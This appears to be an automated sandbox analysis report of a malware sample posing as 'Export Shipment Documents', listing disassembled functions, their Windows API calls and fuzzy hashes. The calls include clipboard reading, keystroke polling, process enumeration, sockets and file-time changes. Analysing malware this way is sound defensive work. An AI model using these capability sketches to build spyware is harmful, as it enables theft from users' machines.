                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ErrorLast$bindclosesocketsocket
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2609815416-0
                                                                                                                                                                                                          • Opcode ID: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                                                                                                                          • Instruction ID: d240999dee57073d64b91b26c15bb406cb7727aead8f71c00845428af50f987f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f055706b1daf61e2065e9fedb91be4565bf8eae27f8502184711caae908a2a6c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: C731CB712002009BD710FF2ADC81B6BB3E8EF85724F144A5FF594A72D2D779AC85876A
                                                                                                                                                                                                          Function 0043701F Relevance: 10.6, APIs: 7, Instructions: 76processCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
                                                                                                                                                                                                          • Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
                                                                                                                                                                                                          • Process32NextW.KERNEL32(00000000,?), ref: 00437075
                                                                                                                                                                                                          • __wsplitpath.LIBCMT ref: 004370A5
                                                                                                                                                                                                            • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                                                          • _wcscat.LIBCMT ref: 004370BA
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 004370C8
                                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000,?), ref: 00437105
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2547909840-0
                                                                                                                                                                                                          • Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                                                                          • Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A
                                                                                                                                                                                                          Function 00452126 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127filesleepCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                                                                                                                          • FindFirstFileW.KERNEL32(?,?,?,?,?,00000000), ref: 0045217E
                                                                                                                                                                                                          • Sleep.KERNEL32(0000000A,?,?,00000000), ref: 004521B2
                                                                                                                                                                                                          • FindNextFileW.KERNEL32(?,?,?,00000000), ref: 004522AC
                                                                                                                                                                                                          • FindClose.KERNEL32(?,?,00000000), ref: 004522C3
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Find$File$CloseFirstNextSleep_wcslen
                                                                                                                                                                                                          • String ID: *.*
                                                                                                                                                                                                          • API String ID: 2693929171-438819550
                                                                                                                                                                                                          • Opcode ID: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                                                                                                                          • Instruction ID: e6452ff64139cddd5fd774ab19bf2199aa97b2a19dc0f7115334900b47d689b2
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 17936c38af85c1dbfc3d1ebbd0b26446ca2a596e07a4ad84d79ac0689e190811
                                                                                                                                                                                                          • Instruction Fuzzy Hash: BD419D756083409FC314DF25C984A9FB7E4BF86305F04491FF98993291DBB8E949CB5A
                                                                                                                                                                                                          Function 0046C5D0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69clipboardCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • OpenClipboard.USER32(?), ref: 0046C635
                                                                                                                                                                                                          • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046C643
                                                                                                                                                                                                          • GetClipboardData.USER32(0000000D), ref: 0046C64F
                                                                                                                                                                                                          • CloseClipboard.USER32 ref: 0046C65D
                                                                                                                                                                                                          • GlobalLock.KERNEL32(00000000), ref: 0046C688
                                                                                                                                                                                                          • CloseClipboard.USER32 ref: 0046C692
                                                                                                                                                                                                          • IsClipboardFormatAvailable.USER32(00000001), ref: 0046C6D5
                                                                                                                                                                                                          • GetClipboardData.USER32(00000001), ref: 0046C6DD
                                                                                                                                                                                                          • GlobalLock.KERNEL32(00000000), ref: 0046C6EE
                                                                                                                                                                                                          • GlobalUnlock.KERNEL32(00000000), ref: 0046C726
                                                                                                                                                                                                          • CloseClipboard.USER32 ref: 0046C866
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Clipboard$CloseGlobal$AvailableDataFormatLock$OpenUnlock
                                                                                                                                                                                                          • String ID: HH
                                                                                                                                                                                                          • API String ID: 589737431-2761332787
                                                                                                                                                                                                          • Opcode ID: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                                                                                                                          • Instruction ID: 5556deb4c8197336e1b92b5e2a85e957832ef7964462d916cb468ff193882e13
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 76419e0badb028214ed7bad9e924c36871e80023f9f647d131bfc03e45e064d3
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7301F5762042005FC300AFB9ED45B6A7BA4EF59704F04097FF980A72C1EBB1E915C7AA
                                                                                                                                                                                                          Function 00436431 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 35COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 0043643C
                                                                                                                                                                                                          • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 00436452
                                                                                                                                                                                                          • __wcsicoll.LIBCMT ref: 00436466
                                                                                                                                                                                                          • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043647C
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: __wcsicollmouse_event
                                                                                                                                                                                                          • String ID: DOWN
                                                                                                                                                                                                          • API String ID: 1033544147-711622031
                                                                                                                                                                                                          • Opcode ID: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                                                                          • Instruction ID: 8a73d33e481528181e274ae5662561dddcd8f7088196b39fde8242b6fe69d79f
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8e71a22f1bb6dc727f393f419cee3c46fab46d9365d91d475c80ba63e0095046
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 75E0927558872039FC4036253C02FFB174CAB66796F018116FE00D1291EA586D865BBD
                                                                                                                                                                                                          Function 004741BB Relevance: 7.6, APIs: 5, Instructions: 137networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                                                                                                                          • socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 00474213
                                                                                                                                                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 00474233
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ErrorLastinet_addrsocket
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4170576061-0
                                                                                                                                                                                                          • Opcode ID: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                                                                                                                          • Instruction ID: 44a7e99483396e6262e636993c5e510db402c36a24f0b6146f21617b09e75fab
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c11ce247c64ee683b380b6a697379cd3ea863651eb179087c325b129d43524e0
                                                                                                                                                                                                          • Instruction Fuzzy Hash: B6412C7164030067E720BB3A8C83F5A72D89F40728F144D5EF954BB2C3D6BAAD45475D
                                                                                                                                                                                                          Function 00456354 Relevance: 7.6, APIs: 5, Instructions: 127keyboardCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                                                                          • ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                                                                          • GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 00456430
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: AsyncState$ClientCursorLongScreenWindow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3539004672-0
                                                                                                                                                                                                          • Opcode ID: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                                                                          • Instruction ID: 0eacbf52c9ff4b21db6d2500407d28a57be55752a0539e191fb639d8ee6a043b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 8b6f1a7d11e91e3692d621cb91ecba55955a7a9a0de246f0cd2a62484a80ce0b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 8E416071108341ABD724DF55CD84EBBB7E9EF86725F540B0EB8A543281C734A848CB6A
                                                                                                                                                                                                          Function 004772DE Relevance: 7.6, APIs: 5, Instructions: 67windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                                                                                                                          • IsWindowVisible.USER32 ref: 00477314
                                                                                                                                                                                                          • IsWindowEnabled.USER32 ref: 00477324
                                                                                                                                                                                                          • GetForegroundWindow.USER32(?,?,?,00000001,?,?), ref: 00477331
                                                                                                                                                                                                          • IsIconic.USER32 ref: 0047733F
                                                                                                                                                                                                          • IsZoomed.USER32 ref: 0047734D
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$EnabledForegroundIconicVisibleZoomed
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 292994002-0
                                                                                                                                                                                                          • Opcode ID: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                                                                                                                          • Instruction ID: c753cb395bd8887e5e04db90522a3107d7308fd2cfa588f53a4db7a4177bc043
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 1c24098bd8cb9da3f496229370c910df04dc27541171caa4f2956f9c30b83eee
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 351172327041119BE3209B26DD05B9FB7A8AF91310F05882EFC49E7250D7B8EC42D7A9
                                                                                                                                                                                                          Function 00436D2D Relevance: 7.6, APIs: 5, Instructions: 52filetimeCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000,75573220,00000000,00000000,00442E95,?,?,?), ref: 00436D4F
                                                                                                                                                                                                          • SetFileTime.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000), ref: 00436D8C
                                                                                                                                                                                                          • CloseHandle.KERNEL32(00000000,?,?,?,00000000), ref: 00436D93
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: File$CloseCreateHandleTime
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3397143404-0
                                                                                                                                                                                                          • Opcode ID: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                                                                          • Instruction ID: bce1a9391340f9688fe0750810cd2cb1b104417d8b3c1e96578cdf6de8724fbd
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 17e11168520f802dddbe8c477e19047108492bf153e6cd976562f268bfda3e60
                                                                                                                                                                                                          • Instruction Fuzzy Hash: A4F0C83634132077E5301A69AC8DFCF276CABDAB32F20452EF741A61C083D51445977D
                                                                                                                                                                                                          Function 0044EBBC Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 551COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: _strncmp
                                                                                                                                                                                                          • String ID: ACCEPT$^$h
                                                                                                                                                                                                          • API String ID: 909875538-4263704089
                                                                                                                                                                                                          • Opcode ID: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                                                                                                                          • Instruction ID: 72a2cba82410d8b1d90f72ff5cad5771b474d57714a55a9933f2c727144888ce
                                                                                                                                                                                                          • Opcode Fuzzy Hash: adbbb77bd847cefbadd23aa8e42bde8f813033e7c46a43322acc698efb747d92
                                                                                                                                                                                                          • Instruction Fuzzy Hash: AE22A0746083818FE725CF29C48076BBBE2BFC9304F24896EE8D587351D779984ACB56
                                                                                                                                                                                                          Function 0040D7F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _set_new_mode.LIBCMT ref: 0040D88C
                                                                                                                                                                                                          • SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 0040D8B9
                                                                                                                                                                                                          • FreeLibrary.KERNEL32(?), ref: 0040D8CE
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: FreeInfoLibraryParametersSystem_set_new_mode
                                                                                                                                                                                                          • String ID: Wu
                                                                                                                                                                                                          • API String ID: 1188159508-4083010176
                                                                                                                                                                                                          • Opcode ID: 06ca62d5f0ac41005a4bed089aefec56480100fd5cca74c1e28fe2d3c932602c
                                                                                                                                                                                                          • Instruction ID: 2b4412acdce639bfbf0f9e0c9ecf3f694f94d165ded01d265c3c64edb54a61d9
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 06ca62d5f0ac41005a4bed089aefec56480100fd5cca74c1e28fe2d3c932602c
                                                                                                                                                                                                          • Instruction Fuzzy Hash: C2215EB19183009FC700EF56D88150ABBE4FB98354F44497EF849A72A2D735A945CB9A
                                                                                                                                                                                                          Function 00446566 Relevance: 5.9, Strings: 4, Instructions: 868COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Strings
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID: ERCP$VUUU$VUUU$VUUU
                                                                                                                                                                                                          • API String ID: 0-2165971703
                                                                                                                                                                                                          • Opcode ID: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                                                                          • Instruction ID: 514654dd073cfe12bfc68f6c44a091d7a3824994b709b832431b3f3de6bbd106
                                                                                                                                                                                                          • Opcode Fuzzy Hash: fe5f619ecbbb89e409f3ebcf557090f4afc22d0cdf4dbad8df8e547bb5c0b5b7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5562D3716087818BE734CF18C8807ABB7E1EBC6314F154A2FE49986390E779D949CB5B
                                                                                                                                                                                                          Function 0045C999 Relevance: 4.6, APIs: 3, Instructions: 130fileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • FindFirstFileW.KERNEL32(00000000,?,?), ref: 0045C9BE
                                                                                                                                                                                                          • FindNextFileW.KERNEL32(00000000,?), ref: 0045CA1B
                                                                                                                                                                                                          • FindClose.KERNEL32(00000000,00000001,00000000), ref: 0045CA4A
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Find$File$CloseFirstNext
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3541575487-0
                                                                                                                                                                                                          • Opcode ID: 14602e3ddb85434cb4a191148b4ac58dc13c9e22f939418703ff5d8e88b69fcb
                                                                                                                                                                                                          • Instruction ID: 18858b47483a38653cd59612877c1399ad483e9f26b014a4aa46912757e3bc7b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 14602e3ddb85434cb4a191148b4ac58dc13c9e22f939418703ff5d8e88b69fcb
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EC41CE756003009FC720EF79D880A9BB3E4FF89315F208A6EED698B391D775A844CB95
                                                                                                                                                                                                          Function 00436ADE Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
